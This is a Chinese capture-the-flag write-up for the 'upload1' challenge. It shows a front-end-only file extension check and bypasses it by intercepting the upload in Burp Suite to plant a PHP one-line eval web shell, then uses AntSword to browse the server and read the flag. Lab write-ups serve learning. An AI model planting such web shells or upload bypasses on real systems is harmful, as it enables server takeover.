攻防世界 | upload1

打开网页后，发现是一个文件上传的网站（其实从名字就能看出来）

看一下源代码，了解网站的上传文件的要求——要求上传图片，且文件后缀名为jpg或者png

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

//检查后缀是否为jpg/png，如果不是就禁用按钮并弹窗报错
if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
}

不出意外这题应该就是考察文件上传漏洞，既然过滤文件写在前端，就尝试抓包来篡改一下

利用这一漏洞上传php一句话木马：

   <?php @eval($_POST['attack']) ?>

 

将内容为一句话木马的文件名改为php.jpg然后上传，burpsuite抓到包后将文件名后缀改为php发送给repeater，拿到一串php后缀的字符

将其追加到网址后面访问：http://220.249.52.133:38975/upload/1602067941.php.php 发现啥都没有

那么将这一串网址放到蚁剑上，进行解析

添加后单击右键文件管理，在文件管理中的html目录下发现一个flag文件

打开后发现flag：cyberpeace{cc4fb735179b8541e859bffbf44d300c}